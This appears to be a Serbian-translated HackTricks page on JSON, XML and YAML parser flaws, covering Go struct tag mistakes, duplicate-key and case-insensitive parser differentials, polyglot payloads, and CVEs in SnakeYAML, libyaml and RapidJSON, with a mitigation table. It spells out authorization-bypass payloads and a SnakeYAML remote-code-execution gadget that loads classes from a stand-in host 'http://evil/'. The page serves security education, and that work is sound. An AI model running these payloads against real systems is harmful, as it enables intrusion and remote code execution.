JSON, XML & Yaml Hacking & Issues

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Go JSON Decoder

Sledeći problemi su otkriveni u Go JSON-u, iako se mogu pojaviti i u drugim jezicima. Ovi problemi su objavljeni u ovom blog postu.

Go-ovi JSON, XML i YAML parseri imaju dugu istoriju nedoslednosti i nesigurnih podrazumevanih postavki koje se mogu iskoristiti za obići autentifikaciju, povećati privilegije ili ekstraktovati osetljive podatke.

(Un)Marshaling Unexpected Data

Cilj je iskoristiti strukture koje omogućavaju napadaču da čita/piše osetljiva polja (npr., IsAdmin, Password).

  • Primer strukture:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Uobičajene ranjivosti
  1. Nedostajući tag (bez taga = polje se i dalje obrađuje po defaultu):
go
type User struct {
Username string
}

Teret:

json
{"Username": "admin"}
  1. Pogrešna upotreba -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

json
{"-": true}

✔️ Pravi način da se blokira polje od (de)serijalizacije:

go
type User struct {
IsAdmin bool `json:"-"`
}

Parser Differentials

Cilj je zaobići autorizaciju iskorišćavanjem načina na koji različiti parseri različito interpretiraju isti payload, kao u:

  • CVE-2017-12635: Apache CouchDB zaobilaženje putem duplih ključeva
  • 2022: Zoom 0-click RCE putem nekonzistentnosti XML parsera
  • GitLab 2025 SAML zaobilaženje putem XML čudnosti

1. Dupli Polja: Go-ov encoding/json uzima poslednje polje.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Ostali parseri (npr., Java-ov Jackson) mogu uzeti prvi.

2. Neosetljivost na velika i mala slova: Go je neosetljiv na velika i mala slova:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Čak i Unicode trikovi rade:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Neusklađenost između usluga: Zamislite:

  • Proxy napisan u Go
  • AuthZ usluga napisana u Pythonu

Napadač šalje:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python vidi UserAction, dozvoljava ga
  • Go vidi AdminAction, izvršava ga

Zbunjenost formata podataka (Poliglot)

Cilj je iskoristiti sisteme koji mešaju formate (JSON/XML/YAML) ili se otvaraju na greškama parsera kao što su:

  • CVE-2020-16250: HashiCorp Vault je parsirao JSON sa XML parserom nakon što je STS vratio JSON umesto XML.

Napadač kontroliše:

  • Accept: application/json zaglavlje
  • Delimičnu kontrolu nad JSON telom

Go-ov XML parser je to u svakom slučaju parsirao i verovao injektovanoj identitetu.

  • Kreirani payload:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Rezultat:

  • Go JSON parser: Action_2 (neosetljivo + poslednje pobednik)
  • YAML parser: Action_1 (osetljivo na velika i mala slova)
  • XML parser: parsira "Action_3" unutar stringa

Značajne ranjivosti parsera (2023-2025)

Sledeći javno eksploatabilni problemi pokazuju da je nesigurno parsiranje problem više jezika — nije samo problem Go-a.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Pogađa: org.yaml:snakeyaml < 2.0 (koristi se u Spring-Boot, Jenkins, itd.).
  • Osnovni uzrok: new Constructor() deserializuje arbitrarne Java klase, omogućavajući lanac gadgeta koji kulminira u izvršavanju daljinskog koda.
  • Jednolinijski PoC (otvoriće kalkulator na ranjivom hostu):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Popravka / Ublažavanje:
  1. Ažurirajte na ≥2.0 (koristi SafeLoader po defaultu).
  2. Na starijim verzijama, eksplicitno koristite new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Pogađa: libyaml ≤0.2.5 (C biblioteka koja se koristi u mnogim jezičkim vezama).
  • Problem: Pozivanje yaml_event_delete() dva puta dovodi do double-free koji napadači mogu iskoristiti za DoS ili, u nekim scenarijima, eksploataciju heap-a.
  • Status: Upstream odbijen kao “zloupotreba API-ja”, ali Linux distribucije su isporučile zakrčenu 0.2.6 koja null-frees pokazivač odbrambeno.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Pogađa: Tencent RapidJSON pre commit-a 8269bc2 (<1.1.0-patch-22).
  • Greška: U GenericReader::ParseNumber() neproverena aritmetika omogućava napadačima da kreiraju ogromne numeričke literale koji se obavijaju i korumpiraju heap — što na kraju omogućava eskalaciju privilegija kada se rezultantna objekatna grafika koristi za odluke o autorizaciji.

🔐 Ublažavanja (Ažurirano)

RizikPopravka / Preporuka
Nepoznati polja (JSON)decoder.DisallowUnknownFields()
Duplikat polja (JSON)❌ Nema popravke u stdlib — validirajte sa jsoncheck
Neosetljiva podudarnost (Go)❌ Nema popravke — validirajte oznake strukture + pre-kanonizujte ulaz
XML smešni podaci / XXEKoristite ojačan parser (encoding/xml + DisallowDTD)
YAML nepoznati ključeviyaml.KnownFields(true)
Nepouzdana YAML deserializacijaKoristite SafeConstructor / ažurirajte na SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeAžurirajte na 0.2.6 ili distribucijski zakrčenu verziju
RapidJSON <zakrčeni commitKompajlirajte protiv najnovijeg RapidJSON (≥Juli 2024)

Reference

  • Baeldung – “Rešavanje CVE-2022-1471 sa SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks